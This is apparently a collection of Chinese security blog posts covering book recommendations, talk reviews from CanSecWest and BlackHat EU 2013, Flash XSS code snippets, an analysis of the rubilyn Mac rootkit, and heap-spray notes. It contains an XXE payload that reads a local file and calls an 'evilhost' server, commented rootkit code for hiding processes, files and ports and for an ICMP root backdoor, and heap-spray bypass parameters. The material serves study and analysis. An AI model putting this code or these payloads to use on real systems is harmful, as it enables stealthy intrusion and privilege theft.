购书心得




富家不用买良田,书中自有千钟粟;
安居不用架高堂,书中自有黄金屋;
出门莫恨无人随,书中车马多如簇;
娶妻莫恨无良媒,书中自有颜如玉;
男儿若遂平生志,六经勤向窗前读。

—— 宋真宗赵恒《劝学诗》

移动安全篇

国 内移动安全书籍很少,主要还是以国外的居多,虽然大部分未引进,但是很多可以在网上找到高清彩色英文原版,有些可能就是官方自己发出来的。虽然国外这方面 的书籍多,但看过几本Andorid安全书籍,感觉还是一般,深度不够,比如《Android Security:Attacks and Defenses》、《Android Apps Security》、《Mobile Application Security》、《Mobile Malware Attacks and Defense》,国内的《移动互联网之智能终端安全揭秘》也是不推荐,过多列点组装,缺乏个人主观理解,《Android安全机制解析与应用实践》更是 别买,学术派写的wiki式书籍。笔者推荐几本:《Android Security Cookbook》、《Android 软件安全与逆向分析》主要是讲Android应用安全,Android系统安全的书籍尚无专著出版,不过4月份《Android Hacker’s Handbook》就要出版了,看目录还是感觉蛮有料的,iOS安全书籍相对少一些,主要有《iOS Hacker’s Handbook》(主要讲系统安全,别买中文版,译者缺乏软件安全基础,错误太多,令人不忍直视)、《iOS应用安全攻防》(英文版,偏向应用安全)、 《iOS应用逆向工程:分析与实战》(今年刚出的iOS应用逆向方面的书籍),其它关于Android与iOS开发的书籍,网上电子版很多,自己挑着看 吧,移动安全方面的书籍,我大多是看电子书,买的纸质书基本都是不行。所以目前,移动安全书籍,还是尽量看国内英文原版吧,如果对Android安全感兴 趣的,看下《Android Hacker’s Handbook》一书(补充:目前网上已有电子版)。

程序设计篇

此处 程序语言主要以C、ASM为主,毕竟自己主要也只是学这两门语言,其它脚本语言,如PHP、ASP就不提了。关于C语言的书籍就有传说中的 “C语言四大名著”,即《C程序设计语言》、《C和指针》、《C陷阱与缺陷》、《C专家编程》,感觉在C编程上这几本书就够用了,至于数据结构和算法可参 考其它国外名著。国产的编程书籍没几本可出手的,关于C入门书籍,很多人会推荐谭浩强那书,最初我也是读这本书入门的,但后来慢慢地发觉那书不是很好,错 误不少,编程风格也不好。对于那些写着精通XXX、24小时XXX、30天XXX、XXX从入门到精通,这些书都是拿书名来忽悠人的,纯粹是作者用来骗稿 费的,对比一下那些国外名著的书名就知道了,一本好书一般是不会用那些土名字的。我很赞成SAI兄弟说的,半年之内不接触的技术,就不用去买这方面的书籍 了。关于ASM主要就《80x86汇编语言程序设计》、《windows环境下的32位汇编程序设 计》这两本,汇编语言的书籍相对会少一点,一些网上书店的程序设计一栏中甚至没有asm一类。很多编程书籍的内容写的都是千篇一律,比如C语言书籍, 不外乎都是些变量、数组、指针这些,但是某些书籍中就会有提到编程风格、内存优化、树、链表、折半搜索法,GDB调试,linux方面的知识,比如《c primer plus》《C和指针》,这些也算是书本的一个亮点。关于windows编程,首推《windows程序设计》上下册、《windows核心编程》,其它 的感觉也没必要看太多,还是以实践为主。编程书籍由于附有很多代码,在电脑上看电子版的感觉很伤眼,容易眼疲劳,因此有必要的话,可以买实体书来看,而且 在实际应用中,有时可以再拿出来参考参考,方便查阅。与此同时,也要奉劝大家“纸上得来终觉浅,绝知此事要躬行”,特别是对于编程学习者,一定要动手写代 码,光看书是没用,这也是我曾经犯过的错误!而且有些书是用来参考查阅,不是用来看的,不然即使你把那些牛书都看完 ,到最后也可能连几句代码也写不出来,最后受伤的永远是你自己!

逆向工程篇

关于逆向工程这方面的书籍,自然是首 推看雪出版的《加密与解密》,在这方面,看雪的实力不会比国外的差,那里是逆向学习交流的好场所。在加解密第3版出版的时候就曾出现过山寨版的,因此大家 在购买时得看清楚了,最好到正规的书店购买,目前可能网上买不到了,不过网上有电子版。另外这方面的书籍还有《黑客反汇编揭密》《黑客调试技术揭密》 《逆向工程揭密》,国内出版的《软件调试》也是本牛书,弥补了国内这方面的空缺。还有出版的《IDA权威指南》也是本不错的书籍,详细讲解了IDA的 方方面面,看了之后,你会发现,会用IDA与不会用的差别有多大了。看雪翻译小组也曾出版过一本《IDA Pro代码破解揭秘》,不过这书我也没看过。在逆向工程这方面的书籍也差不多就这么几本了,其它像加解密入门实战,加密与解密实战超级手册,加解密全攻 略……这些基本上都可以摒弃,基本都是抄看雪加解密一书上的东西,大家无须花金钱、时间和精力在此上面。关于获取最新书讯的方法,大家可以订阅互动出版网 计算机新书的RSS,只要有计算机新书出来立马就知道了,它上面经常更新,不过很也是应用技术书籍,对于这些书籍,很多是 没必要买的,比如什么 windows 7使用大全,精通注册表,windows操作XXX,有必要的话,直接百度、google就行了,没必要花钱去买这类书籍。

脚本安全篇

在 脚本攻防方面的书籍,最早的曾云好写的《精通黑客脚本》,这书写得相当全面,由浅入深,虽然不厚,但排版密集,内容还是很多的,只是纸质不太好,很 粗糙,里面有很多渗透实战案例,当年国内这方面的法律还不是很严格,若是放在今天,可能里面一些内容会被删除掉。另外大家也可看看老外的 《黑客攻防技术宝典:WEB实战篇》(重点推荐)《xss attack》《sql injection》(中译本:《SQL注入攻击与防御》),以及《WEB安全测试》,英文版的网上有电子书。近两年国内出版的,主要就《白帽子讲WEB 安全》、《WEB前端黑客技术》,推荐一阅。

系统底层篇

当年看的第一本系统原理书籍是《深入理解计算机系统》,很不错的一本书。其它此类书籍还有《深入解析windows操作系统》《widnows系统原理与 实现》等,国内之前还出了本 《windows操作系统原理》,上面还写着重点大学计算机教材,后面看了乱雪博客上一篇文章后才知道那书是抄袭的,还被原作者控告了,最后还赔偿 了,当年我还从头看完了。关于溢出攻击的书籍,国内主要有《网络渗透技术》、《0day安全:软件漏洞分析技术》《灰帽黑客》,虽然 网渗一书很早出版,其中有些已经过时,但是其思想是不会过时的。若想获取最新书籍,最好的方法还是上面说的:订阅RSS。对于一些不熟悉的技术书籍,一定 要先看完整目录,然后找找网上是否有电子版的,如果有就先看看再决定是否再买,另外如果你已经买或看过同类的经典书籍,就需要重新考虑是否真的有必要买 了。讲了那么多要花钱的书,下面讲讲免费的一套,那就《intel开发手册》,这一套是由因特尔公司免费向全球赠送的书籍,共五本,之前我还订了两套,全 都从美国寄到学校来了,原本以为第一封邮件没收到,就再发了一封,没想到Intel居然连送两套过来,真是大方的不行啊!现在他们已经不再寄送纸质书,仅 寄送包含电子版的光盘。’

关于CanSecWest 2013大会

文档下载:http://cansecwest.com/csw13archive.html

此次CanSecWest 2013大会的质量明显要高出BlackHat EU 2013很多,主要还是软件/系统安全为主,涉及漏洞利用和挖掘等技术。

1、《Fuzzing for logic and state issues》

Peach Fuzzer框架的作者写的,主要是介绍peach3的新增特性,增加逻辑漏洞和无效的状态转换等问题,比如一些WEB认证的逻辑漏洞,PPT写得比较简洁,纯文字描述,不好完整理解,建议还是上官网看peach3的使用文档吧:http://peachfuzzer.com/v3/PeachPit.html ,上个月作者刚更新的,写得比较详细。

2、《DEP ASLR bypass without ROP JIT》

绿盟的TK讲的,里面的思路最早是在2009年的中国软件安全峰会《Vulnerability: The next 10 years》中提到的,主要是利用 SharedUserData 地址 0x7ffe0000 在win上是固定不变的,再通过它找到SystemCall,然后设置其参数,来调用指定的系统函数。在安全峰会上,作者是调用NtUserLockWorkStation这一函数来设置锁屏,而在此次CSW大会上,作者是通过LdrHotPatchRoutine索引到LdrLoadDll来加载外部的DLL,实现任意代码执行,这种方法只工作在winx64上的32位程序,且在win8上微软已经修复此问题。

3、《Adobe Sandbox WHEN THE BROKER IS BROKEN》

exploit系列教程的作者peter写的议题,在以前的一些大会上,也有人做过关于adobe sandbox的分享,但总觉得PPT写得不过详细,这次peter的议题,我觉得写得挺详细的,由浅入深,从介绍沙盒的相关术语、client与broker之间的通讯原理开始讲起,并提起一些沙盒逃逸的攻击面,分析和提取cross call函数等信息,同时也提供一些demo,可惜只有ppt,要是能提供paper和code就更好了。

4、《An Android Hacker’s Journey- Challenges in Android Security Research》

对我而言,里面让我最感兴趣的是作者即将出版的《Android Hacker’s Handbook》这个系列的书都很经典,包括shellcode、web、macosx以及ios等书,都是相当经典的,上面4本除了ios那书只看了一小部分之外,其它3本我都详细阅读过,值得推荐,前两本国内早有中译本了。
这个议题里面讲了一些android软件漏洞,包括一些组件权限设置问题导致的信息泄露,以及linux内核漏洞,其中还有一张赛门铁克提供的移动设备威胁图表,列出了移动设备可能面临的各种安全威胁,做得挺不错的。最后讲述了一些android平台的调试技巧,包括远程调试、源码调试等,有兴趣的朋友可以看下。

5、《Assessing the Linux Desktop’s Security》

感觉一般,对这议题也不是很感兴趣。

6、《MS SQL Post Exploitation Shenanigans: You’re In, Now What?》

讲述 MS SQL Server 利用技术,主要是利用扩展存储过程API来利用MSSQL,包括获取密码hash,内存搜索hash替换,编写poc创建后门,以及利用msf来控制shell等方式。在实际的渗透测试中,相信大多数的企业还是会选择使用php + mysql,特别是近些年来,这一组合的比例一直在扩大,所以估计对此文感兴趣的人不会太多。

7、《Cracking and Analyzing Apple iCloud backups, Find My iPhone, Document Storage》

基本就是在讲苹果的icloud服务及其原理,跟安全相关的内容不多,爱看不看。

8、《UPnP Vulnerabilities》

PPT写得很是简单,内容也不是感兴趣,爱看不看。

9、《Analysis of a Windows Kernel Vulnerability》

共有273页,这是我见过最长的PPT文档。主要讲Duqu病毒所使用的 CVE-2011-3402:Windows win32k.sys TrueType 字体解析数组越界漏洞,从TTF字体格式开始分析,解释漏洞成因,以及漏洞的利用技术。在去年的syscan大会上,360的人也针对此漏洞分析过其原理及利用技术,可以交互参考阅读。国内最早分析并公开细节的应该是启明星辰,其在博客上也帖出了相应的分析文章,看雪和binvul论坛均有人发表相关的漏洞分析文章。

10、《iOS 6 Exploitation 280 Days Later》

作者之前搞了近10年的WEB安全,2010年中才开始搞iphone安全,但他98年就开始接触安全,也算是安全界的老一辈革命家了。讲了2012年之后出现过的一些ios漏洞,以及关于ios安全相关的资料和书籍,同时介绍苹果对此采取的一些保护机制(cookie、ASLR、程序目录权限限制……),大部分篇幅还是在介绍ios的保护机制。

11、《Evil Maid Just Got Angrier:Why Full-Disk Encryption With TPM is Insecure on Many Systems》

讲述关于bios那些底层的东东,看不懂,真心看不懂!

12、《Physical Privilege Escalation and Mitigation in the x86 World》

硬件hacking一类的议题,PPT也大多是贴图,不好理解,反正是没看懂这PPT

13、《Smart TV Security》

一个有趣的议题,主要讲关于智能电视安全,包括智能电视机上面的app漏洞,以及恶意app感染、网络通讯安全等问题,同时还介绍智能电视固件rootkit的开发,如何留取后门。控制智能电视后最大的风险就是用它来监控和窃听你的行为,因为智能电视都配有摄像头。最后,还介绍一些调试等逆向相关技术,以及操作电视的一些API函数。

14、《The Evolution of BlackHole》

总觉得这是BlackHol exploit kit的广告帖,介绍BlackHole这一漏洞利用工具包的一些功能,一套售价冒似是1500美元,不过里面的一些功能看起来还是不错的。

关于BlackHat EU 2013大会

大会文档下载:https://www.blackhat.com/eu-13/archives.html

此次BH EU 议题整体较水,涉及系统安全、移动安全、网络传输安全、WEB安全、游戏安全等。下面随便挑几个议题简单介绍下,有些议题不是很感兴趣,有些也特水,有兴趣的自己到上面链接下载文档。

1、《A PERFECT CRIME? ONLY TIME WILL TELL》

讲述SSL攻击方法——CRIME,如何从SSL加密的会话中获取到cookie,CRIME原理就是通过在受害者的浏览器中运行JavaScript代码并同时监听HTTPS传输数据,进而解密会话Cookie,也算是中间人攻击MIMT的一种方法。该议题对CRIME方法进行扩展,介绍一种叫TIME (Timing Info-leak MadeEasy)的攻击手法,基于传输时间来猜测payload size,然后逐字猜解cookie。

2、《ADVANCED HEAP MANIPULATION IN WINDOWS 8》

介绍常堆及内核溢出利用技巧,以及在win8上改进后的内存安全保护机制。里面构造堆内存布局的exploit技巧,与以往利用信息泄露获取dll基址来绕过ASLR方法有些类似,都通过分配特定大小的堆块,然后释放出与造成溢出的堆块大小相同的堆块,触发漏洞后覆盖到特定结构。同时,介绍了内核中的堆块分配与释放的原理,然后讲述不同大小的堆块溢出后,如何构造相应的堆布局来实现利用。最后,以windows object内核漏洞为例,讲述win7\win8上的exploit技巧,在wihte paper中已给出相应的exploit代码。

3、《THE DEPUTIES ARE STILL CONFUSED》

总之,这议题很水,爱看不看。主要讲CSRF和点击劫持clickjacking的攻击技巧,里面也提到前段时间facebook爆出的OAuth2认证漏洞,点击劫持就讲下beef的clickjacking模块,然后提下防御点击劫持的x-frame-options

4、《Hacking Appliances: Ironic exploits in security products》

初看这标题,还以为是讲客户端软件漏洞利用呢,其实主要还是讲WEB安全的多一些,觉得有点水。

5、《HACKING VIDEO CONFERENCING SYSTEMS》

比较有趣的一个议题,主要讲述如何攻击语音会议系统,介绍了root提权以及远程调试的一些技巧,最后演示了一个后门shell。对这些不是很了解,有兴趣的自己看文档。

6、《Hardening your Windows 8 apps for the Windows Store》

很水,不解释

7、《Harnessing GP²Us Building Better Browser Based Botnets》

觉得这议题有点在玩概念,实际攻击场景或者实战的东西很少,太理论化了。GPU现在很多被用在暴力破解方面,比如跑MD5、跑WPA-PSK,速度比CPU快得N多,比五速鞋还五速鞋……该议题主要讲构造基于浏览器的僵尸网络botnet,利用WEB漏洞(如XSS,并提到利用html5的WEB存储特性、插件等等方法实现永久XSS)来执行代码,再用GPU跑数据,然后利用C&C服务器进行通讯。

8、《LET’S PLAY - APPLANTING》

很水,为什么这种也能上BH大会讲呢

9、《MULTIPLAYER ONLINE GAMES INSECURITY》

讲游戏漏洞相关的,主要涉及协议分析、常见客户端漏洞攻击等,没什么新鲜的东西,爱看不看。

10、《Next generation mobile rootkits》

相对比较前沿的东西,主要讲arm平台上的rookit设计,但PPT写得太简洁了,简单一些文本描述,很难完全理解其中意思。之前viaForensics也写一篇关于android rootkit的文档《Dude,where’s my droid?!》,发表于RootedCON 2013安全大会,推荐阅读。

11、《POWER ANALYSIS ATTACKS FOR CHEAPSKATES》

可能一些搞硬件hacking或者移动安全的朋友会感兴趣,应该属于边信道攻击一类,玩这种都需要花钱买设备,所以搞这些的一般都是高富帅,像kevin2600一样。

12、《XML Out-Of-Band Data Retrieval》

这种XML实体注入漏洞,在2011年的时候,80sec就有写过一篇文章提到《XML实体注入漏洞安全警告》http://www.80sec.com/xml-entity-injection.html,比如可用于读取文件,加载远程页面:

1
2
<!ENTITY % payload SYSTEM "file:///c:/boot.ini">
<!ENTITY % remote SYSTEM "http://evilhost/evil.xml">

漏洞实例见《zend framework文件读取漏洞分析》:http://zone.wooyun.org/content/508 ,不过最早是在2002年的时候老外就有提出过这个问题。

13、《Advanced iOS Application Pentesting》

看标题冒似很“高级”的样子,实则就介绍下ios的一些逆向工具和ios编程中用到的一些类而已,还是爱看不看。

14、《APPLICATION DEVELOPMENT SECURE CODING WORKSHOP》

主要讲WEB开发中安全编程,但主要就是在普及WEB安全漏洞的原理、防御等,包括XSS、注入、CSRF等等,算是总结性文章,没有新货,有兴趣的自个翻看下。

15、《Assessing BYOD with the Smarthpone Pentest Framework》

作者公布了一款智能机渗透测试框架——Smartphone Pentest Framework v0.1.5,包括一些浏览器漏洞、客户端漏洞、社会工程学漏洞以及本地提权等,利用漏洞获取shell后还可发送短信、获取通信录、短信、下载上传文件等,有些功能还是不错的,但漏洞利用方法相对单一,有其利用的局限性。该工具下载地址:
https://github.com/georgiaw/Smartphone-Pentest-Framework

若干flash xss漏洞分析

漏洞一

1
2
3
4
5
6
7
8
9
Parameters.getInstance().data = loaderInfo.parameters;

public function get onPlayStart():String{
return (_data["onPlayStart"]);
}

ExternalInterface.call(Parameters.getInstance().onPlayStart, _arg1);
ExternalInterface.call(Parameters.getInstance().onPlayStop);
ExternalInterface.call(Parameters.getInstance().onFileLoadedError);

漏洞二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function reload(u, show_loading) {

if (show_loading == undefined) {
show_loading = true;
}

if (show_loading) {
_root.loading = new Loading("Loading data...");
}

var _local2 = "";

if (_root.data != undefined) {
_local2 = _root.data;
}

if (u != undefined) {
if (u.length > 0) {
_local2 = u;
}
}

_root.lv = undefined;
_root.lv = new LoadVars();
_root.lv.onLoad = LoadVarsOnLoad;
_root.lv.make_chart = make_chart;
_root.lv.make_pie = make_pie;
_root.lv.load(_local2);
}

漏洞三

1
2
var csPreloader;
loader.loadClip(csPreloader, preloader_mc.target);

漏洞四

1
2
3
4
this.loadXML(file);
function init(file, ploader, bookmark, contentpath)
container.init(csConfigFile, preloader_mc, csFilesetBookmark, contentpath);
var csConfigFile;

漏洞五

1
2
3
4
5
6
7
8
9
10
11
12
13
    getURL(_loc2, this.playList.currentClip().getLinkWindow());
var _loc2 = this.playList.currentClip().getLinkURL();

_loc1.getLinkURL = function ()
{
return (this.linkUrl);
};

var _loc1 = (_global.org.flowplayer.playlist.Clip = function (name, baseUrl, fileName, start, end, protected, enableControl, linkUrl, linkWindow, type, allowResize, overlayFileName, overlayId, live, showOnLoadBegin, maxPlayCount, info, thumbnailUrl, suggestedClipsInfoUrl, id, keywords)

{
this.linkUrl = linkUrl;

漏洞六

1
2
3
4
5
6
7
8
9
10
     this.textField.htmlText = ['', content, ''].join('');

_global.sIFR = function (textField, content)
{ ……
this.write(content);
……
}

sIFR.instance = new sIFR(_loc3.txtF, _loc4);
_loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);

漏洞七

1
2
this._setVar("_onClick", [_root.onclick, pConfig.onclick], "String");
getURL(this._onClick, this._onClickTarget);

自动化检测脚本

顺手写了个简单的检测已知漏洞的flash xss检测脚本,下载地址见 FlashScanner



Mac OSX rootkit rubilyn 源码分析

1、隐藏进程

在mac osx上,每个进程的上下文都保存在proc结构中,而在allproc链表中就保存着所有进程proc结构的指针,通过allproc链表移除相应进程的proc结构可隐藏正在进行的进程,下面是rubilyn中关于隐藏进程的代码,但目测通过ps -p pid 仍可列出进程,因为它并没有移除进程hash列表pidhashtbl中相关的进程信息,导致可通过pid查找到进程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* modify allproc to hide a specific pid */
static int hideproc(int pid)
{
struct proc* p;
if(pid!=0){
// lh.first 指向allproc链表中的第1个元素,而p_list.le_next指向下个proc结构
for (p = my_allproc->lh_first; p != 0; p = p->p_list.le_next)
{
if(pid == p->p_pid)
{
if(hidden_p_count < MAX_HIDDEN_PROCESS)
{
hidden_p[hidden_p_count]=p;
hidden_p_count++;
my_proc_list_lock();
LIST_REMOVE(p, p_list); // 移除p_list结构中关于p进程的元素
my_proc_list_unlock();
}
}
}
}
return 0;
}

2、隐藏文件

为了对列出文件的相应系统函数进行挂钩,我们需要先对finder和ls所使用的函数进行进程跟踪,在mac上已经用Dtrace代替ktrace,在finder上主要是使用getdirentriesattr函数,而ls主要是使用getdirentries64,下面是用Dtrace分别对finder和ls的进程跟踪情况, calltrace.d 脚本内容如下:

1
2
3
4
5
6
7
8
9
riusksk@macosx:/usr/include/sys$ cat ~/Reverse\ engineering/Dtrace/calltrace.d 
pid$target:::entry
{
;
}
pid$target:::return
{
printf("=%d\n", arg1);
}

下面是查看finder进程2841的调用函数:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -p 2841 | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 573227 probes

2 1078881 getdirentriesattr:entry
2 1363229 getdirentriesattr:return =1

下面是ls命令(64位系统)调用的函数:

1
2
3
4
5
6
7
riusksk@macosx:~$ sudo dtrace -s ~/Reverse\ engineering/Dtrace/calltrace.d -c ls | grep getdir
dtrace: script '/Users/riusksk/Reverse engineering/Dtrace/calltrace.d' matched 28745 probes
dtrace: pid 3184 has exited
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =1980
2 271609 __getdirentries64:entry
2 285894 __getdirentries64:return =0

因此,我们若想在finder和ls中隐藏文件,只要对这两个函数 getdirentriesattr 和 getdirentries64 (32位的为getdirentries)进行挂钩处理即可。在系统调用函数表中,主要是由sysent结构数组构成,每个sysent结构中都包括参数个数sy_narg,执行函数sy_call 这些重要数据。sysent结构如下:

1
2
3
4
5
6
7
8
9
10
struct sysent { /* system call table */
int16_t sy_narg; /* number of args */
int8_t sy_resv; /* reserved */
int8_t sy_flags; /* flags */
sy_call_t *sy_call; /* implementing function */
sy_munge_t *sy_arg_munge32; /* system call arguments munger for 32-bit process */
sy_munge_t *sy_arg_munge64; /* system call arguments munger for 64-bit process */
int32_t sy_return_type; /* system call return types */
uint16_t sy_arg_bytes; /* Total size of arguments in bytes for* 32-bit system calls */
};

为了实现对上述系统函数的挂钩,通过修改相应函数sysent结构的sy_call来进行偷梁换柱,关于各系统函数的调用号和宏名均可在 /usr/include/sys/syscall.h中找到:

1
2
3
4
5
riusksk@macosx:/usr/include/sys$ cat syscall.h | grep getdir

#define SYS_getdirentries 196
#define SYS_getdirentriesattr 222
#define SYS_getdirentries64 344

下面是rubilyn中对系统调用函数getdirentries64 和 getdirentriesattr的挂钩代码,将这两个函数替换为自定义的 new_getdirentries64 和 new_getdirentriesattr ,同时保存原函数地址方便获取目录信息并进行篡改:

1
2
3
4
5
6
7
8
9
if(nsysent){
table = find_sysent();
if(table){
/* back up original syscall pointers */
org_getdirentries64 = (void *) table[SYS_getdirentries64].sy_call; // 保存原系统函数地址
org_getdirentriesattr = (void *) table[SYS_getdirentriesattr].sy_call;
/* replace syscalls in syscall table */
table[SYS_getdirentries64].sy_call = (void *) new_getdirentries64; // 替换原系统函数
table[SYS_getdirentriesattr].sy_call = (void *) new_getdirentriesattr;

两个替换函数执行的操作有点类似,主要是移除指定文件的dirent结构,其中dirent结构原型如下:

1
2
3
4
5
6
7
8
9
10
11
12
struct dirent {
__uint32_t d_fileno; // 节点号
__uint16_t d_reclen; // 目录项长度
__uint8_t d_type; // 文件类型
__uint8_t d_namlen; // 文件名
#if __BSD_VISIBLE
#define MAXNAMLEN 255
char d_name[MAXNAMLEN+1]; // 文件名
#else
char d_name[255+1]; // 文件名
#endif
}

此处我们只看下 new_getdirentries64 函数,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
/* hooked getdirentries64 and friends */
register_t new_getdirentries64(struct proc *p, struct getdirentries64_args *uap, user_ssize_t *retval)
{
int ret;
u_int64_t bcount = 0;
u_int64_t btot = 0;
size_t buffersize = 0;
struct direntry *dirp;
void *mem = NULL;
int updated = 0;
ret = org_getdirentries64(p,uap,retval); // 调用原函数获取目录信息
btot = buffersize = bcount = *retval; // 函数返回的字节数
if(bcount > 0)
{
MALLOC(mem,void *,bcount,M_TEMP,M_WAITOK); // 在内核空间分配bcount大小的内存
if(mem == NULL)
return(ret);
copyin(uap->buf, mem, bcount); // 将用户空间数据拷贝到刚分配的内核空间
dirp = mem;
while(bcount > 0 && dirp->d_reclen > 0)
{
if(dirp->d_reclen > 7)
// 搜索指定文件名
if(strncmp(dirp->d_name,(char*)&k_dir,strlen((char*)&k_dir)) == 0)
{
char *next = (char *) dirp + dirp->d_reclen; // 下一目录项
u_int64_t offset = (char *) next - (char *) mem ; // 当前文件目录项大小
bcount -= dirp->d_reclen; // 递减字节数
btot -= dirp->d_reclen; // 递减目录项长度
bcopy(next,dirp,buffersize - offset); // 覆盖指定文件的目录项,从而实现文件隐藏
updated = 1;
continue;
}
bcount -= dirp->d_reclen;
dirp = (struct direntry *) ((char *) dirp + dirp->d_reclen);
}
if(updated == 1)
{
copyout(mem,uap->buf,btot); // 将修改后的数据返回给用户空间
*retval = btot;
}
FREE(mem,M_TEMP); // 释放内核内存
}
return ret;
}

3、设置Root进程

先通过pid获取进程proc结构,然后更改其中进程属主字段p_ucred为0,即root属主。源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static int getroot(int pid)
{
struct proc *rootpid;
kauth_cred_t creds;
rootpid = proc_find(pid);
if(!rootpid)
return 0;
lck_mtx_lock((lck_mtx_t*)&rootpid->p_mlock); // 设置互斥锁
creds = rootpid->p_ucred; // 进程属主
creds = my_kauth_cred_setuidgid(rootpid->p_ucred,0,0); // 设置进程属主id为0(root)
rootpid->p_ucred = creds;
lck_mtx_unlock((lck_mtx_t*)&rootpid->p_mlock); // 解锁
return 0;
}

4、隐藏网络端口、用户名和内核模块

通过对write_nocancel函数挂钩,然后对 grep、sysctl、netstat、kextstat、w和who等命令的输出结果进行过滤,当命令输出结果中包含rubilyn模块名以及特写端口和用户名时就直接返回,否则就调用原始的write_nocanel函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/* hooked write_nocancel for hiding console stuff */
int new_write_nocancel(struct proc* p, struct write_nocancel_args *uap, user_ssize_t* retval)
{
char buffer[MAXBUFFER];
if(strncmp(p->p_comm, grep, strlen(p->p_comm))==0||strncmp(p->p_comm, sysctl,strlen(p->p_comm))==0||
strncmp(p->p_comm, kextstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, rubilyn))
return(uap->nbyte);
}
if(strncmp(p->p_comm, netstat,strlen(p->p_comm))==0){
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_port))
return(uap->nbyte);
}
if((strncmp(p->p_comm,w,strlen(p->p_comm))==0||strncmp(p->p_comm,who,strlen(p->p_comm))==0))
{
bzero(buffer, sizeof(buffer));
copyin(uap->cbuf, buffer, sizeof(buffer)-1);
if(my_strstr(buffer, (char*)&k_user))
return(uap->nbyte);
}
return org_write_nocancel(p,uap,retval);
}

5、设置ICMP 后门

首先添加IPv4过滤器ip_filter_ipv4:

1
2
3
4
5
6
7
8
9
10
11
 /* install IPv4 filter hook */
ipf_addv4(&ip_filter_ipv4, &ip_filter_ipv4_ref);

ip_filter_ipv4结构如下:

static struct ipf_filter ip_filter_ipv4 = {
.name = "rubilyn",
.ipf_input = ipf_input,
.ipf_output = ipf_output,
.ipf_detach = ipf_detach,
};

当传给用户的ICMP数据包中包含有以下特定数据时就以root权限执行命令:

1
2
3
4
5
/* ICMP backdoor configuration */
#define MAGIC_ICMP_TYPE 0
#define MAGIC_ICMP_CODE 255 /* xor'd magic word*/
#define MAGIC_ICMP_STR "\x27\x10\x3\xb\x46\x8\x1c\x10\x1e" // 解密后为“n0mn0mn0m”
#define MAGIC_ICMP_STR_LEN 9

ipf_input主要处理传给用户的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static errno_t ipf_input(void* cookie, mbuf_t *data, int offset, u_int8_t protocol)
{
char buf[IP_BUF_SIZE];
struct icmp *icmp;
if (!(data && *data))
return 0;
if (protocol != IPPROTO_ICMP)
return 0;
mbuf_copydata(*data, offset, IP_BUF_SIZE, buf);
icmp = (struct icmp *)&buf;
// 检测接收的icmp数据包中是否包含后门的特征数据,若是则调用KUNCExecute函数执行命令
if(icmp->icmp_type==MAGIC_ICMP_TYPE&&icmp->icmp_code== MAGIC_ICMP_CODE && strncmp(icmp->icmp_data, icmpstr, MAGIC_ICMP_STR_LEN)==0)
{
my_KUNCExecute((char*)&k_cmd, kOpenAppAsRoot, kOpenApplicationPath);
}
return 0;
}

rubilyn还有个命令行控制台rubilyncon,通过输入参数选项来执行上面某项功能,主要都是通过sysctl控制内核变量来招待相应函数,这些内核变量都是在rubilyn中用sysctl注册的,通过这些内核变量可从用户层直接与rubilyn内核扩展进行交互来执行恶意操作。

Heap Spray 技术要点

1、堆喷射堆块大小 ≈ 程序堆块分配大小,以减小堆空隙大小。

2、不能使用堆缓存块,否则可能破坏地址的可预测性,可通过申请6块相应大小的堆块来清空缓存。

3、精确定位ROP地址,目标地址如0x0c0c0c0c至堆块数据起始地址的offset = ( 0x0c0c0c0c - UserPtr(堆数据起始地址))/2,IE7:0x5FA,IE8:0x5F4/0x5F6,IE9:0x5FC/0x5FE,Firefox9:0x606,可能不同语言版本会存在偏差。

4、不同系统、不同浏览器版本喷射块大小:

1
2
3
4
5
6
7
XP SP3 – IE7    block = shellcode.substring(2,0x10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0x40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0x40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0x40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0x80000-6)/2);
Vista/Win7 – IE9 block = shellcode.substring(0, (0x40000-6)/2);
XP SP3/VISTA SP2/WIN7 - Firefox9 block = shellcode.substring(0, (0x40000-6)/2);

5、Nozzle保护机制(IE):检测是否存在重复可转换成汇编代码的字段,若存在则阻止其内存申请。

6、BuBBle保护机制(Firefox):检测JavaScript是否尝试重复申请 NOPs + shellcode (padding + rop chain + shellcode + padding)的内存块,若发现包含这些字段则阻止其内存申请。

7、分配 随机数 + rop + shellcode + 随机数 的堆块,以保证各分配块都是不同的,以此绕过上述保护机制,主要针对IE9。

8、利用随机变量名 + 随机块绕过 Firefox9 的保护。

9、HTML5 Heap Spray:EUSecWest2012上的演讲主题,通杀Chrome、Firefox、IE9和Safari
a、利用canvas标签定义图形,通过脚本控制每个像素的数据再进行喷射;
b、利用Web Worker的多线程功能,加速堆喷射过程,但IE不支持Worker.

Android恶意软件沙盒自动化分析原理与实现

【作者】:riusksk(泉哥)
【团队】:腾讯安全应急响应中心
【日期】:2012年10月2日

一、 前言

